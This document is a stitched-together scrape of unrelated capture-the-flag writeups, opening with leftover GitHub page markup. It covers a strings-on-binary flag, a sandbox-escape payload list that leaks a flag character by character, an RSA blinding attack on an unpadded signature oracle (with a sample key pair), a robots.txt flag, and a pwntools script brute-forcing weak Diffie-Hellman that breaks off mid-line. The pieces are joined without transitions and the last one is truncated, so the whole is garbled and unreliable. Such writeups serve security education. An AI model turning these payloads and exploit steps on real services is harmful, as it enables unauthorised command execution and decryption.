3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <span>Projects</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-book UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M0 1.75A.75.75 0 01.75 1h4.253c1.227 0 2.317.59 3 1.501A3.744 3.744 0 0111.006 1h4.245a.75.75 0 01.75.75v10.5a.75.75 0 01-.75.75h-4.507a2.25 2.25 0 00-1.591.659l-.622.621a.75.75 0 01-1.06 0l-.622-.621A2.25 2.25 0 005.258 13H.75a.75.75 0 01-.75-.75V1.75zm8.755 3a2.25 2.25 0 012.25-2.25H14.5v9h-3.757c-.71 0-1.4.201-1.992.572l.004-7.322zm-1.504 7.324l.004-5.073-.002-2.253A2.25 2.25 0 005.003 2.5H1.5v9h3.757a3.75 3.75 0 011.994.574z"></path></svg> <span>Wiki</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M7.467.133a1.75 1.75 0 011.066 0l5.25 1.68A1.75 1.75 0 0115 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.7 1.7 0 01-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 011.217-1.667l5.25-1.68zm.61 1.429a.25.25 0 00-.153 0l-5.25 1.68a.25.25 0 00-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.2.2 0 00.154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.25.25 0 00-.174-.237l-5.25-1.68zM9 10.5a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.75a.75.75 0 10-1.5 0v3a.75.75 0 001.5 0v-3z"></path></svg> <span>Security</span> <include-fragment src="/hugoreb/Tenable-CTF/security/overall-count" accept="text/fragment+html"></include-fragment> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M1.5 1.75a.75.75 0 00-1.5 0v12.5c0 .414.336.75.75.75h14.5a.75.75 0 000-1.5H1.5V1.75zm14.28 2.53a.75.75 0 00-1.06-1.06L10 7.94 7.53 5.47a.75.75 0 00-1.06 0L3.22 8.72a.75.75 0 001.06 1.06L7 7.06l2.47 2.47a.75.75 0 001.06 0l5.25-5.25z"></path></svg> <span>Insights</span> <span></span> <div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 100-3 1.5 1.5 0 000 3zM1.5 9a1.5 1.5 0 100-3 1.5 1.5 0 000 3zm13 0a1.5 1.5 0 100-3 1.5 1.5 0 000 3z"></path></svg> <span>More</span> </div></summary> <div data-view-component="true"> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Wiki Security Insights </details-menu></div></details></div></nav> </div> <div class="clearfix new-discussion-timeline container-xl px-3 px-md-4 px-lg-5"> <div id="repo-content-pjax-container" class="repository-content " > <div> <div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="details-reset details-overlay mr-0 mb-0 " id="branch-select-menu"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path fill-rule="evenodd" d="M11.75 2.5a.75.75 0 100 1.5.75.75 0 000-1.5zm-2.25.75a2.25 2.25 0 113 2.122V6A2.5 2.5 0 0110 8.5H6a1 1 0 00-1 1v1.128a2.251 2.251 0 11-1.5 0V5.372a2.25 2.25 0 111.5 0v1.836A2.492 2.492 0 016 7h4a1 1 0 001-1v-.628A2.25 2.25 0 019.5 3.25zM4.25 12a.75.75 0 100 1.5.75.75 0 000-1.5zM3.5 3.25a.75.75 0 111.5 0 .75.75 0 01-1.5 0z"></path></svg> <span>main</span> <span></span> </summary> <div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg></button> </header> <input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div> <div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div> <div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" class="d-flex flex-column flex-auto overflow-auto" tabindex=""> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/hugoreb/Tenable-CTF/refs" cache-key="v0:1614020883.6785269" current-committish="bWFpbg==" default-branch="bWFpbg==" name-with-owner="aHVnb3JlYi9UZW5hYmxlLUNURg==" prefetch-on-mouseover > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " style="max-height: 330px" data-pjax="#repo-content-pjax-container"> <div class="SelectMenu-loading pt-3 pb-0" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <footer class="SelectMenu-footer">View all branches</footer> </ref-selector> </div> <div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" class="d-flex flex-column flex-auto overflow-auto" tabindex="" hidden> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/hugoreb/Tenable-CTF/refs" cache-key="v0:1614020883.6785269" current-committish="bWFpbg==" default-branch="bWFpbg==" name-with-owner="aHVnb3JlYi9UZW5hYmxlLUNURg==" > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" style="max-height: 330px" data-pjax="#repo-content-pjax-container"> <div class="SelectMenu-loading pt-3 pb-0" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div> </details> </div> <div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>Tenable-CTF</span></span></span><span>/</span>Crypto<span>/</span> </div> </div> <div class="d-flex"> Go to file </div> </div> <div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>Tenable-CTF</span></span></span><span>/</span>Crypto<span>/</span></div> <div class="Box mb-3"> <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-1 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/hugoreb/Tenable-CTF/tree-commit/16c126f358f615dc5211c9f4dfc9d528ecbda985/Crypto" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path fill-rule="evenodd" d="M1.643 3.143L.427 1.927A.25.25 0 000 2.104V5.75c0 .138.112.25.25.25h3.646a.25.25 0 00.177-.427L2.715 4.215a6.5 6.5 0 11-1.18 4.458.75.75 0 10-1.493.154 8.001 8.001 0 101.6-5.684zM7.75 4a.75.75 0 01.75.75v2.992l2.028.812a.75.75 0 01-.557 1.392l-2.5-1A.75.75 0 017 8.25v-3.5A.75.75 0 017.75 4z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2> <include-fragment src="/hugoreb/Tenable-CTF/file-list/main/Crypto"> Permalink <div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path></svg> Failed to load latest commit information. </div> <div class="js-details-container Details"> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block" data-pjax> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-icon-tertiary"> <path fill-rule="evenodd" d="M3.75 1.5a.25.25 0 00-.25.25v11.5c0 .138.112.25.25.25h8.5a.25.25 0 00.25-.25V6H9.75A1.75 1.75 0 018 4.25V1.5H3.75zm5.75.56v2.19c0 .138.112.25.25.25h2.19L9.5 2.06zM2 1.75C2 .784 2.784 0 3.75 0h5.086c.464 0 .909.184 1.237.513l3.414 3.414c.329.328.513.773.513 1.237v8.086A1.75 1.75 0 0112.25 15h-8.5A1.75 1.75 0 012 13.25V1.75z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>ECDSA_WRITEUP.py</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-icon-tertiary"> <path fill-rule="evenodd" d="M3.75 1.5a.25.25 0 00-.25.25v11.5c0 .138.112.25.25.25h8.5a.25.25 0 00.25-.25V6H9.75A1.75 1.75 0 018 4.25V1.5H3.75zm5.75.56v2.19c0 .138.112.25.25.25h2.19L9.5 2.06zM2 1.75C2 .784 2.784 0 3.75 0h5.086c.464 0 .909.184 1.237.513l3.414 3.414c.329.328.513.773.513 1.237v8.086A1.75 1.75 0 0112.25 15h-8.5A1.75 1.75 0 012 13.25V1.75z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>nonce_reuse.py</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> </div> </div> </include-fragment> </div> </div> </div></div> </main> </div> </div> <div class="footer container-xl width-full p-responsive" role="contentinfo"> <div class="position-relative d-flex flex-row-reverse flex-lg-row flex-wrap flex-lg-nowrap flex-justify-center flex-lg-justify-between pt-6 pb-2 mt-6 f6 color-fg-muted border-top color-border-muted "> © 2021 GitHub, Inc. Terms Privacy Security Status Docs <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"></path></svg> Contact GitHub Pricing API Training Blog About </div> <div class="d-flex flex-justify-center pb-6"> <span></span> </div></div> <div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg> </button> You can’t perform that action at this time. </div> <div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template> <div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div> <template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-text-success d-none m-2"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path></svg> </clipboard-copy> </div></template> </body></html>
I was given a.out file to find a flag in [a.out](https://github.com/mar232320/ctf-writeups/raw/main/a.out) When you run the binary file it prompts for a password to get the flag This was a very easy challenge - just open the file in notepad and search for flag{ Alternatively you can use strings or grep if on linux > flag{str1ngs_FTW}
ping_handler114514load_flag_handler114514fib_handler1145141 session[args[0]]114514logsession[args[0]][100]114514logsession[args[0]][args[0][0]]114514log ## Part 1 # Relevant varaible taken from server code:valid_event_chars = set('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789[]') # Code for conversion of set to list as list comprehension[c for c in valid_event_chars] # Exploit variant:[[c][0]for[c]in[valid_event_chars][0]][n] # Note: n is the nth charachter in valid_event_chars set converted to a list (ORDER IS DIFFERENT!) n c0 11 02 33 24 55 46 77 68 99 810 A11 C12 B13 E14 D15 G16 F17 I18 H19 K20 J21 M22 L23 O24 N25 Q26 P27 S28 R29 U30 T31 W32 V33 Y34 X35 [36 Z37 ]38 _39 a40 c41 b42 e43 d44 g45 f46 i47 h48 k49 j50 m51 l52 o53 n54 q55 p56 s57 r58 u59 t60 w61 v62 y63 x64 z ## Part 2 # Idiomatic code:# Note: session['log'] is the flagcharacter in session['log'] or fib_handler # Exploit variant:[args[0]][0]in[session[args[0]]][0][n]or[load_flag_handler][0] # Note: n is the nth character of the flag# Note: [args[0]][0] is a placeholder for the exploit in part 1 ## Part 3 # To test for the character 'c' in the flag (should be the first one): [[c][0]for[c]in[valid_event_chars][0]][x]in[session[args[0]]][0][y]or[fib_handler][0]114514log# x = char in set# y = position in flag [[c][0]for[c]in[valid_event_chars][0]][40]in[session[args[0]][1]][0][0]or[load_flag_handler][0]114514log[[c][0]for[c]in[valid_event_chars][0]][41]in[session[args[0]][1]][0][0]or[load_flag_handler][0]114514log
Blind===== Task description---------------- > Pull the flag...if you can.>> nc blind.q.2019.volgactf.ru 7070> > server.py Solution-------- TL;DR: Given was a RSA signature oracle, which refused to sign certain values,that allow to execute shell commands. Use homomorphism property of RSA toblind a value, ask the oracle to sign it and the inverse of the blindingfactor. Multiply both signature to obtain the signature of the unblinded value. The server implements a simple plaintext protocol which allows to executeseveral commands (`cd`, `cat`, `sign`, `exit`, and `leave`) with optionalparameters. Each line send to the servers starts with a signature (integer)followed by the command and parameters; all separated by spaces. All commands, except for `sign`, `ls`, and `dir`, validate the signaturebefore executing the command with its parameters. While `sign` still takes asignature, it does not validate it. Instead, it asks for a command to sign.Rather than signing the command with all parameters, it only signs the commandwithout the any parameter (see the `shlex.split` at `cmd == 'sign'`). However,all other commands validate the signature over the command including allparameters. Additionally, `sign` refuses to sign the commands `cat` and `cd`. The signature is implemented as standard RSA signature without padding. Weshortly introduce the basics of RSA and modular arithmetics to understand thevulnerability of the service. We start with basic modular arithmetic. Our following calculations will worklike the usual calculations on integers, except for a final modulus operation.To denote the modulus n, we append “ (mod n)” to the right, meaning that allcalculations to the left are subject to modulo operations. The modulo returnsthe remainder after a division, i.e., a + b (mod n) means, that you first adda and b, divide it by n and take the remainder as final value. For example6 + 4 (mod 7) is 3, because 6 + 4 = 10, which divided by 7 is 1 with aremainder of 3, i.e., 10 = 1 * 7 + 3. Many integers will have inverses inmodular arithmetic, which have the property, that, if you multiply the integerwith its inverse, you get 1. The inverse of a value a is denoted a^{-1}, soa * a^{-1} = 1 (mod n). For a concrete example: 3 * 5 = 1 (mod 7), so 5 is theinverse of 3 and vice versa. Having covered the most important facts aboutmodular arithmetics, we will continue with RSA, which makes use of it. RSA is an asymmetric cryptography procedure that allows to encrypt and signvalues. We will focus on signatures here. For RSA, you have a public key anda private key. The private key is used to sign values, while the public keyis used the verify the signature on values. To generate those keys, RSA firstgenerates two distinct primes p and q. Both primes are multiplied to form themodulus n = p * q. You chose a value for the public exponent e, which must berelatively prime to (p-1)(q-1). In almost all cases e = 65537 is chosen,because it is robust and improves performance. To get the private exponet d, wehave to calculate the inverse of e (mod (p-1)(q-1)), i.e., we havee * d = 1 (mod (p-1)(q-1)). The algorithm to calculate the inverse is calledthe extended euclidean algorithm. We will not cover it here, since thesedetails are not important. Since we know p and q, we can calculate (p-1)(q-1)and thus d. Since p and q are not public, an adversary cannot calculate dwithout unfeasible computational resources (in fact, calculating d from themodulus and the public exponent is equivalent to factoring n, i.e., getting pand q from n, which is believed to be a hard problem). The values n and e formthe public key for RSA, while the values n and d form the private key. To sign a message m with RSA, the signer calculates s = m^d (mod n). To verifythe signature, anyone can check if s^e = m (mod n), because e and n are public.If and only if this equivalence is true, s is a valid signature for m. Since dis private, only the signer can create signatures (the truth is: the cryptocommunity believes that this is the case, however, there is no proof yet). Our vulnerable service however provides an RSA signature oracle, which,unfortunately, does not sign all values we want it to sign. Nonetheless, thereis a property of RSA that we can use to our advantage: the multiplicativehomomorphism. This property states: Sign(m\_0) * Sign(m\_1) = Sign(m\_0 * m\_1).Mathematically, this boils down to: m\_0^d * m\_1^d = (m\_0 * m\_1)^d (mod n). In our attack, we combine this property together with inverses in a techniquecalled blinding. Assume we want a signature on m = `cat flag` (as byte sequencewhich is interpreted as an large integer). Our RSA signature oracle will refuseto sign it. However, if we choose a value k and multiply m with it, i.e.,m\_b = m * k, there is (with high probability) no `cat` inside m\_b and we canget a signature on m\_b using the oracle. Next, we will ask the oracle to signk^{-1} (the inverse of k), which is also possible since it is just a randomlooking value. Using the homomorphism, we get Sign(m * k) * Sign(k^{-1} =Sign(m * k * k^{-1}) = Sign(m * 1) = Sign(m). Yay, we just have to multiplythese two signatures (mod n) to obtain the signature for m. However, there isone caveat left. If you remember, the RSA signature oracle only signs the command without theparameters, but the signatures validation is on the command with all parameters.Our blinded value and the inverse of k are no valid command, however, they stillcan contain bytes that are interpreted by shlex.split, e.g., spaces, quotes,etc. To fix this issue, we just iterate over different values for k until wefound a value for k, for which k^{-1} and m * k contain no spaces and so on. To summarize, our attack involves the following steps: 1. Set m = `cat flag`2. Choose a random k3. Calculate the inverse of k: k^{-1} (mod n)4. Set m\_b = m * k5. If m\_b or k^{-1} contain forbidden characters (spaces, quotes, etc.) goto step 2.6. Run the `sign` command with m\_b as base64 to obtain s\_07. Run the `sign` command with k^{-1} as base64 to obtain s\_18. Set s = s\_0 * s\_1 (mod n)9. Run `cat flag` command with the signature s10. Submit flag and gain 100 points. You can find the python code with all these steps in exploit.py, which willprint the flag `VolgaCTF{B1ind_y0ur_tru3_int3nti0n5}`. The original serveris provided as server.py. Note that you have to generate a new RSA key pairto use it, since the attack cannot recover the private key. If you are lazy,try: n = 35712023278405967281092707335001742500880380505674767204982483064840572151157 e = 65537 d = 9178529992240568120034874381658747740627015878387549261101264681449421824145 To conclude, never use RSA without padding to avoid such attacks that involvethe homomorphic property of RSA. If possible, use the PSS padding scheme oravoid RSA at all in favor of ECC signatures (e.g. Ed25519).
The solution is pretty simple as this is challenge for 25 points. Crawlers - web crawlers can't see directories denied in robots.txt file. Let's look there```User-agent: *Disallow: /admin/# flag{mr_roboto}```So the flag is> flag{mr_roboto}
This challenge involves a Diffie-Hellman key exchange between 2 parties, Alice and Bob. The intended solution involves establishing different keys with Alice and Bob, however the values are so small (around 32 bits) that we can simply solve the discrete logarithm problem (the hardness of which Diffie-Hellman's security depends on) with brute force. ```py# pip install pwntools sympy pycryptodomeimport pwnfrom sympy.ntheory import discrete_logfrom Crypto.Cipher import AES # from MITM.cprimes = [1697841911,1438810907,666397859,941857673]g = 13061880230110805485346525688018595113271880103717720219673350299083396780730251766148414377512386061643807530751287373200960399392170617293251618992497053 conn_a = pwn.remote("13.233.166.242", 49154)conn_b = pwn.remote("13.233.166.242", 49155) # read the 4 public values from alicea_pub = []conn_a.recvline()for i in range(4): a_pub.append(int(conn_a.recvline()))conn_a.recvline() # and from bobb_pub = []conn_b.recvline()for i in range(4): b_pub.append(int(conn_b.recvline()))conn_b.recvline() # send alice's public values to bob, and vice versaconn_a.sendline('\n'.join(map(str, b_pub)))conn_b.sendline('\n'.join(map(str, a_pub))) # read alice's ciphertextct_a = conn_a.recvline()ct_a = bytes.fromhex(ct_a.split(b" : ")[1].replace(b"0x", b"").decode()) # and send it to bobconn_b.recvline()conn_b.send(ct_a) # and then read bob's ciphertextct_b = conn_b.recv()ct_b = 